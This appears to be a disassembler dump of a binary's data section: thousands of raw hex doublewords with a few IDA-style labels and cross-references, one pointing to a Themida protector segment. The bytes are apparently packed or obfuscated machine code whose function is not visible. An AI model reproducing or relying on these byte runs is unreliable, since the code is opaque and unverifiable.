141371B5h, 3995FF06h, 8B061409h dd 140BFDBDh, 2C4BB06h, 60963C3Ah, 0B9B25250h, 5250310Fh dd 585A310Fh, 5061585Ah, 7E85250h, 0B9000000h, 90C5CA93h dd 8F0F36C6h, 0 dd 8B310F5Fh, 96585ADFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0CC35747h, 9368411h, 140D4D85h, 98B5FF06h dd 6A0617AAh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 2E1AC351h, 8B64F9E2h, 0F595FFB3h dd 6A061420h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0FCDAC356h, 728BC547h, 0D4F780FFh dd 0C21BD83h, 0F000614h, 5284h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 8EAE41C5h dd 14592091h, 10E9BD89h, 8B500614h, 243489DAh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0CAC35545h, 8A9C1CCFh dd 0FF22B8B1h, 17AA98B5h, 0FFFA8B06h, 1402B195h, 39852906h dd 0FF061410h, 17AA98B5h, 0AAE78106h, 0E87260BEh, 0Ah dd 878DE953h, 0FB143895h, 81662F3Fh, 5BBB39DFh, 308195FFh dd 7E80614h, 23000000h, 0CFC68B29h, 0BF66FD58h, 835F4644h dd 1409F5BDh, 840F0206h, 72h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 10C35646h, 3067C673h, 521BEA15h dd 3DF80DCh, 0BD958960h, 8B061415h, 142D19B5h, 858B6106h dd 6142D01h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 38C35141h, 5BD92F9Fh, 8BBBFF40h, 8B40FE19h, 1406C99Dh dd 0C606h, 24F59D29h, 85C70614h, 614244Dh, 0 dd 0FFF356E9h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 0C37D23A6h, 0B69BD89h dd 0C18B0614h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 0D4C35646h, 53115DCDh, 4319D8Bh, 0BF5B0614h, 54F2E868h dd 0F99858Dh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0C89027C3h, 65DF81A1h, 502AFB99h dd 0B820Fh, 52500000h, 0FD88B66h, 5A616031h, 24048958h dd 68A0Fh, 9D8B0000h, 6140D55h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0AD8297C3h dd 53A3867Fh, 9D8B006Ah, 61413F5h, 0BCCA858Dh, 6A0618h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 76641EC3h, 895A55F1h, 14209185h, 5C08306h, 0DDF38166h dd 90B39009h, 6E950h, 3D0000h, 0C3B78D99h, 819D8990h, 6A06142Eh dd 5FBB6600h, 6A006A2Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0EC6AC355h, 2D45B589h dd 95FF0614h, 6141A71h, 8DFE8B66h, 17A8FC8Dh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 5644828Ch, 8BDFFF65h, 1410399Dh, 0DB816606h, 0D1FF0828h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 22C35242h dd 3FF8133Dh, 5818C582h, 1E99D8Bh, 0BD830614h, 61412CDh dd 7A850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 4173C356h, 6C5384Ch dd 67B48E1Bh, 26AF98Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0BCC35343h, 5FE6362Bh, 90BB75D4h, 8BF3BB66h dd 12E850h, 4FFD0000h, 0AA89FDBh, 0B9F11206h, 0BBCCC0F0h dd 5C94B12Eh, 9D8B905Fh, 6140021h, 93995FFh, 8B660614h db 0F9h byte_5948A9 db 0E9h, 9Bh, 0Eh ; DATA XREF: Themida_:0054AC70o dd 0E80000h, 5D000000h, 0BCD4ED81h, 81FC0618h, 0A344ABF7h dd 41BF664Eh, 23858DA3h, 6A061796h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0BED7C351h dd 321B8A4Eh, 665BF957h, 0F4F9D781h, 24048950h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 8DC35545h, 0FE9534Dh dd 0C5000000h, 2858F460h, 5467DABBh, 4E331F03h, 0F5F40A5h dd 0C82h, 6800F00h, 0F000000h, 8Ah, 0DBF6600h, 35FF64CDh dd 0 dd 25CD9D03h, 89640614h, 25h, 81666000h, 660304F3h, 7DCF81h dd 6D85FF61h, 89061423h, 1409A185h, 0DE806h, 0A8780000h dd 0AFEE6B2Dh, 0EAA87FEFh, 0F1CDE30h, 680h, 0E5BD8B00h dd 5F06140Bh, 0BD89FF6Ah, 6141C25h, 0D49B5FFh, 6A0614h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0BD8B16C3h, 614235Dh, 2B1995FFh, 3EE90614h, 0B000001h dd 1408CD9Dh, 100B006h, 1430599Dh, 6070E606h, 2215B503h dd 0EE90614h, 0F2000000h, 0F0D2D984h, 6EB4E723h, 0A50BDDECh dd 71E461FBh, 14E9h, 24D47000h, 7E3653ECh, 0FEA60C20h dd 5A7117E6h, 79907E26h, 0F613CE9h, 0F083h, 0DE900h, 0C300000h dd 0AEBC0CD6h, 38BFD0E3h, 0FE380FEh, 8B66C8B6h, 6BADFh dd 0F5600000h, 0D8A0Fh, 8E90000h, 85000000h, 0B947F076h dd 61B1417Eh, 8D31C18Bh, 6140D0Dh, 8A04E8C1h, 0E2F766F9h dd 0FB090BBFh, 33C82B08h, 1431119Dh, 8BD18B06h, 1430E1BDh dd 93E906h, 95890000h, 6142EA1h, 8858Bh, 0BD8B0000h, 6140FBDh dd 31518D89h, 0C0830614h, 0FBBF0F07h, 8900C083h, 142ED185h dd 0FD03B06h, 0F83h, 0FB8B5300h, 5BE95Bh, 0BF0F0000h, 0FEBF0FF8h dd 0FFFF8D8Bh, 0EEBFFFFFh, 0E8443CCCh, 12h, 69B1DD02h dd 0AA53E051h, 95BFA3D2h, 177D8FA0h, 0BD29ED6Eh, 6140F65h dd 1E1835Fh, 23840Fh, 0FA8A0000h, 83DE8B66h, 0FFFFFFA5h dd 9589FEFFh, 614221Dh, 89589h, 0B5310000h, 614167Dh, 0E9h dd 34B58D00h, 8B06183Ch, 6A006AD8h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 746AC357h dd 2510238Bh, 0EB811460h, 2E8AD5BCh, 116995FFh, 0BD8B0614h dd 614210Dh, 0FB5B9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 0E183F01Eh, 50006AFCh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0C0446454h, 39B501D0h, 0FC06140Dh, 2BDFB70Fh, 57006AC0h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 9AA7A8D2h, 54B91D14h, 0BAh, 20BF5100h, 5B48A276h, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0DEC35343h, 9E87D98h, 92000000h, 0A99914A6h dd 0E15873A2h, 0CAE8BF66h, 56006A5Fh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0C9E7DE9Dh dd 0B8C8C1C4h, 0D88B6603h, 0D9EE380h, 88h, 958B4AB7h, 6143229h dd 8B95D380h, 14064D8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 0C28B5006h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 8A58188Bh, 52006AF9h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 9C56ED9Bh, 24A56AC4h, 29ADBD83h, 0F000614h, 7284h, 219D8900h dd 80061415h, 0B8E9F7h, 53000000h, 8D5FD88Bh, 144D798Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 1027F571h, 9158C319h, 0D381664Ah, 0E1FF613Ah dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0BAC35343h dd 0E92CCDBDh, 5, 0B593D2FAh, 0D19D8B09h, 8306140Ah, 142671BDh dd 840F0006h, 470h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 66C35040h, 3029331h, 9639EEEDh, 71BD83FCh dd 1061426h, 459840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 102BD6C3h, 894EF65Dh dd 141C6185h, 71BD8306h, 3061426h, 3EF860Fh, 85890000h dd 6142AC1h, 12E8h, 14569500h, 104B1BC9h, 29BA893Dh, 3E6D6A3Ch dd 0F97456B5h, 6A605Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 8C66CBC3h, 50006AD9h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 3BA1C6Dh, 142559BDh dd 80CEB706h, 6A04E1h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0AC1E37C3h, 0AFF8A4Ah, 48840FC9h dd 0F000001h, 858BFFB7h, 6141969h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 71C35747h, 1A72FCF7h, 159D8Bh dd 85330614h, 6141B81h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 0A6C35141h, 0FDE1CB1h, 687h, 6D958900h dd 90061405h, 310F5250h, 7E8h, 0FBF5BD00h, 0E233137Eh dd 5BFB8B66h, 9050585Ah, 9759D23h, 6A0614h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0CFC35646h, 809EE5ACh dd 4E84043h, 0FF000000h, 0BB001F03h, 6656C6BCh, 8BD88B50h dd 52042444h, 8B008B5Fh, 244489DEh, 6E804h, 97110000h dd 0DB03B003h, 5E9h, 0DD520200h, 585FBF81h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 1BC35242h, 1ADBD09h dd 95FF0614h, 61409ADh, 1D8DBD8Bh, 85890614h, 617AA98h dd 3850Fh, 0BF0F0000h, 1D3E9DFh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h db 24h, 4 word_594F42 dw 4481h ; DATA XREF: ___:off_438C78o dd 140424h, 52420000h, 0E8536BC3h, 5, 64B8538Eh, 0E9BB6658h dd 8B5F5FA7h, 17AA9085h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 8501ACF2h, 6140E15h, 1800C7h dd 870F0000h, 1, 94B58BF9h, 290617AAh, 14063195h, 29858B06h dd 6A06140Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 2625C356h, 25E91BF7h, 660689BFh dd 8B6783BBh, 14196985h, 8C0F5106h, 6, 26758589h, 8B5F0614h dd 142B65BDh, 4468906h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 15C35040h, 9034EA84h, 8B60379Fh, 669661CFh dd 5099A1BFh, 57006A96h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 0E54F8707h, 0AFDB8166h, 90B5FF8Bh dd 6A0617AAh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 3B2C352h, 1F9A08DDh, 0E5A6800h dd 8B666A5Bh, 243481FAh, 6A440DA5h, 0D59D8B56h, 5B061406h dd 0AA98858Dh, 6A0617h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 40CBACC3h, 8B721D8Fh, 1414E19Dh dd 66505006h, 5B4038BFh, 6A240489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0EA85C357h dd 8D89A3EBh, 6140FA5h, 0FCD8589h, 95FF0614h, 61409ADh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 73C35040h dd 29B5339Ch, 0BD8B61F5h, 6140659h, 2185B589h, 85C70614h dd 6142671h, 3, 0FF59589h, 12E80614h, 9A000000h, 921E0552h dd 72F267A8h, 0B7869B60h, 0BB19D812h, 810F53A5h, 0 dd 0BD835B5Fh, 617AA98h, 26840F00h, 0F000000h, 148Fh, 8E800h dd 0BC030000h, 0F7891077h, 9D8B4C84h, 6142B8Dh, 21E9F55Bh dd 8B000000h, 142B69BDh, 0C305006h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 33C35141h, 8D8B6090h, 6140E59h, 61C7B70Fh dd 2A859589h, 0BD8B0614h, 614058Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 1C35747h, 8BAE6675h, 14068DBDh dd 0BD83F906h, 6142671h, 0D2850F03h, 6A000004h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 0FCE1C352h, 22071234h, 10E9AF22h, 8E000000h, 45BC39A4h dd 0A2361FA0h, 0EB21C78Ah, 836E9D10h, 17AA98BDh, 840F0006h dd 48Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 4FC35141h, 5646B110h, 8B0FFDC7h, 6, 3E98D89h, 0BF0F0614h dd 98B5FFFBh, 6A0617AAh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 8C08C353h, 0EE9h, 0C12A1900h dd 0BDD2D476h, 3C3D1515h, 899A45BEh, 140849BDh, 0F595FF06h dd 6A06142Ah, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 74EC350h, 2EADB589h, 0B58B0614h dd 617AA8Ch, 0D9BF0F57h, 106C75Bh, 6A000100h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 3ED1C357h, 5872BF66h, 9E9h, 363CF500h, 0E03115F1h, 0BF509673h dd 3D5FCE44h, 6A243489h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 660AC353h, 0B589DF8Bh dd 614035Dh, 0AA98B5FFh, 800F0617h, 2, 95FFC5B7h, 6140B31h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 2EC35242h dd 88B1607Bh, 24ED958Bh, 8B610614h, 17AA8CB5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 541493A3h, 0E985619Eh, 6, 3664DE08h, 95893449h, 6141A7Dh dd 21D5858Bh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 0F1FF37C3h, 1573757Ch, 24558D89h dd 86890614h, 0C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 0FEC35242h, 0ED79CC5Eh, 0CFAFCE3Ch, 15D9BD8Bh dd 8B660614h, 29958BFAh, 66061432h, 8308E0BBh, 6A04C2h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0E611DEC3h, 89F357F0h, 6A2050h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0D6F179C3h, 6858DF8h dd 6A0617BEh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 5E6FC352h, 70E8AF3h, 8509852Eh dd 6140CA9h, 8689D88Bh, 0B8h, 8E0Fh, 6A0000h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0F5C35343h, 159D33h dd 0B5FF0614h, 617AA98h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0D1C35747h, 0D7A44CADh, 0DDC08060h, 0FF61C38Bh dd 14093995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 898FD374h, 1400E585h, 0EE99606h dd 0C0000000h, 0AA461AFh, 0D4A184FAh, 0B6F15927h, 12E850A3h dd 77000000h, 9E6C6BBBh, 54EB4589h, 0E1B86A7h, 0FCAF6546h dd 5B5160CAh, 5F616160h, 6BBB6696h, 98B5FF81h, 6A0617AAh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0CE3AC356h, 8971673Dh, 140E959Dh, 0F595FF06h dd 6A061420h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0F53BC350h, 0BD83FE8Bh, 6140C21h dd 32840F00h, 0F000000h, 0E996FBB7h, 14h, 0D3301596h, 0C884030Bh dd 0FDD03165h, 80F25D34h, 2AF00357h, 50525050h, 50310F52h dd 5A310F52h, 0F585A58h, 96585A31h, 98B5FFFCh, 6A0617AAh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 754CC353h, 8E1694C3h, 68DF8009h, 2B195FFh dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 3F01FFC3h, 98B5FF15h, 890617AAh, 1404F985h dd 8195FF06h, 60061430h, 61F88B60h, 95D38166h, 80606169h dd 8361C6C9h, 1409F5BDh, 840F0206h, 3Ah, 21C9BD89h, 858B0614h dd 6142D01h, 0D3F78166h, 0C6A7h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0DAC35747h, 8E58AA11h, 6609B79Bh dd 85C7F98Bh, 614244Dh, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0AC35747h dd 8D6EF7A3h, 0F286E946h, 0BD09FFFFh, 6141AC1h, 6AC18Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 738C71C3h, 8689F182h, 0E9710A05h, 11h, 0EC69220Ch, 9A8A7766h dd 0AF730799h, 19D9DD1Ah, 99858D8Ah, 6A06140Fh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 8D4EC356h, 0BCC31DA6h, 8950F8B7h, 6A2404h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 6A4A8CC3h dd 0C4A8898Bh, 0EE9h, 0C16BDE00h, 5E3289A5h, 6EF3E258h dd 66B7D4B1h, 0E8E6DF81h, 9589006Ah, 61414E1h, 9D33006Ah dd 6141615h, 0CDF8858Dh, 6A0618h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 8D8960C3h, 6140971h dd 8B05C083h, 1412BD9Dh, 11E99006h, 0B9000000h, 0E12B8DC5h dd 0BBCB65DAh, 0D63B535Fh, 868F6331h, 0BB665350h, 905BD05Ah dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0DCC35343h dd 455CFEh, 0F60EBD1h, 683h, 39958900h, 6A061430h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 50EF7AE4h, 8B19D2F8h, 140975BDh, 6A006A06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 50ACC351h, 0FF98037Fh, 141A7195h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 9454FA3Ah dd 0E9D85131h, 0Fh, 2FFBA440h, 0AE71E3C5h, 0CE88687Eh dd 8DBB9BA3h, 17A8FC8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 7624F643h, 33BF60B1h dd 8B65B305h, 140E398Dh, 0D1FF6106h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 7C35343h, 50E44EF0h, 6EBBF007h dd 834418AEh, 1412CDBDh, 850F0106h, 0A7h, 0C6CB8166h, 7AD78105h dd 6A5EC078h, 55006A02h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0D1958994h, 80061402h, 509002CFh dd 9E952h, 524A0000h, 0F0FC3D55h, 0F03B5ADh, 5E831h, 901B0000h dd 5FA4975Ch, 0BF50585Ah, 6A3D8C78h, 51006A90h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 93154BDEh dd 0D982CBA6h, 93995FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0AF8C0DC3h, 78BF10BDh dd 0E9272ED9h, 0D99h, 0E8h, 0ED815D00h, 618CE02h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 82C35343h, 6A65B035h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0A3DBC351h, 2EFDB589h, 858D0614h, 6179623h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0ECC35040h dd 2349A384h, 1425E1BDh, 0CB816606h, 60907B54h, 61616060h dd 61D68B66h, 983EBF50h, 6A904F1Eh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 315C357h dd 2B818589h, 0FF640614h, 35h, 59BD8900h, 6406142Fh, 2589h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 0D0F647C3h, 8DBD0B08h, 0FF061431h, 14236D85h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 1AA4F1B7h, 0C49BAE44h, 0BB66313Bh, 0FF6A7E24h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0A0C35141h dd 0EA3EC897h, 95858976h, 5106140Ch, 0FF5BD98Bh, 142319B5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 8174F882h, 69BD89F0h, 0FF06140Eh, 142B1995h dd 0F0E906h, 0BD8B0000h, 6141D41h, 0B032B3h, 0DE8h, 1150FE00h dd 548BE7C0h, 6ECAB287h, 0B529502Ah, 6141FC5h, 0E470E65Fh dd 41BD8B71h, 3C061411h, 0BB830F61h, 23000000h, 1408F9BDh dd 0C8B60F06h, 0D4EB8166h, 6BAAEh, 0B70F0000h, 0BFC18BD9h dd 71EDCBB3h, 8104E8C1h, 66FD53EFh, 0E2F76623h, 0BF66C82Bh dd 0D18B70FEh, 83E9EBB3h, 0FC000000h, 12E9h, 0E12E6B00h dd 0A933D047h, 17478B4h, 2C0919A6h, 8B2CB54Ch, 185h, 0DBBF0F00h dd 8007C083h, 0C083E9C3h, 1DBD8B00h, 3B06142Dh, 19830FD0h dd 0F9000000h, 45E9h, 0EE900h, 32A90000h, 0CCEAAC3Eh, 47CEA425h dd 1A4D82F7h, 0FFFF8D8Bh, 8B66FFFFh, 1E183FAh, 20840Fh dd 0BD8B0000h, 6142C65h, 0FFFFA583h, 66FEFFFFh, 3E17E381h dd 19589h, 8B660000h, 0E9FAh, 0B58D0000h, 6184BE9h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 76C35545h, 0F8C5DC34h dd 0E918589h, 6A0614h, 0C591FBFh, 0CD9D8B63h, 0FF06141Ch dd 14116995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 12FF82A9h, 0F5FAE550h, 0FF8B9h, 5DBD8B00h dd 8306140Fh, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 60D7A2C3h, 0FD8BF0Fh, 0FC61D8B7h dd 9E8h, 84B5B400h, 10B0DA0Ah, 8B66EDE8h, 7E85FFBh, 6000000h dd 19D955Ah, 8D89CA2Dh, 614199Dh, 6AC02B5Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0CA94C351h, 7D0E20B0h, 0CEA393C0h, 0D98B66F9h, 0BAh dd 0ADFA8B00h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 3A47C356h, 0AB6DD989h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 3FC35141h, 0FA8B3294h, 880Dh, 35BD8B00h dd 8B06140Dh, 14322995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 6249DC98h, 4D8D8BF5h dd 6A061406h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0F205C351h, 50CEC658h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 53006A58h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 2921409Dh dd 140F819Dh, 0ADBD8306h, 61429h, 84840Fh, 0DA8B0000h dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 8DF01C83h, 0CCD5E8A8h, 0C2DB813Eh dd 8D432E5Dh, 144D798Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 8B89FAC1h, 142AF19Dh dd 6AE1FF06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0D54AC356h, 6E562FB6h, 0F359509h dd 0BD830614h, 6142671h, 0FB840F00h, 6A000003h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 76CBC350h, 0FE9CCEEh, 684h, 51BD8B00h, 8306141Ah, 142671BDh dd 840F0106h, 3DDh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 6EC35040h, 5F722BE8h, 5B6ABA80h, 6024BB66h dd 2671BD83h, 0F030614h, 37286h, 818D8900h, 60061429h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 67C35040h dd 663E8B21h, 0A443D381h, 6AD98C66h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0EACC353h dd 4E18011h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 96C35747h, 289F5B0Eh, 0C90AB138h, 140840Fh, 66600000h dd 0B533FA8Bh, 6142945h, 69858B61h, 6A061419h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0A774C351h, 4E783EE6h, 8185331Ch, 0E906141Bh, 0Fh, 0FD2CC835h dd 7572F9F8h, 71EB1009h, 2B84C5C6h, 1419ADBDh, 0FE89006h dd 2C000000h, 7D7B68B7h, 0BFA507ABh, 91256367h, 12E90E0Dh dd 0B8000000h, 4B9000FEh, 0CB27A6F7h, 7D26FB7Dh, 3EDB50E8h dd 0F505F1Bh, 482h, 72BB6600h, 9589909Ch, 61403D1h, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 9D141AC3h, 0C571088Ah, 0B668D935h, 0F957BB0h, 138Ah dd 0DE800h, 4D2C0000h, 0C244FE14h, 0DE1D8333h, 5FBC9867h dd 49240481h, 316AA353h, 1413898Dh, 0AD95FF06h, 6A061409h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 89E1C353h, 17AA9885h, 21BD8B06h, 0E906142Ch dd 187h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 4FC35141h, 6660CBD0h, 8B4FF0B8h, 14224995h, 858B6106h dd 617AA90h, 2B45B589h, 0C70614h, 18h, 106D8531h, 0B58B0614h dd 617AA94h, 244A28BFh, 29858B5Fh, 6A06140Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 80B1C355h, 248FD1DCh, 9DBD8BF9h, 8906142Ah, 1958906h dd 8B06140Dh, 14196985h, 8E806h, 526F0000h, 45D513C8h dd 0F380EF2Fh, 0BD8B5FD3h, 6141C61h, 81044689h, 13BD77EBh dd 6056962Eh, 14E8h, 0E0E59600h, 4E186BE7h, 0EDA3087Ch dd 0E8D0168Eh, 0CEA99DADh, 0E28A5EF2h, 0BB505B61h, 76C8F3FDh dd 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0DCDDEF7Dh, 9D091B1Ch, 6141411h, 0AA90B5FFh dd 890F0617h, 6, 30C59589h, 46680614h, 81E18856h, 0ADB92404h dd 6A1E96h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 8DA9FAC3h, 985FFAC7h, 0F5DA3444h, 0AA98858Dh dd 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 987BA5C3h, 95295370h, 61408A9h, 0F53505Fh dd 81h, 4895F00h, 96D78124h, 0FF157D56h, 1409AD95h, 6DBD3106h dd 61061426h, 11059D8Bh, 85C70614h, 6142671h, 3, 58E0Fh dd 81660000h, 33B308C3h, 143049BDh, 98BD8306h, 617AAh 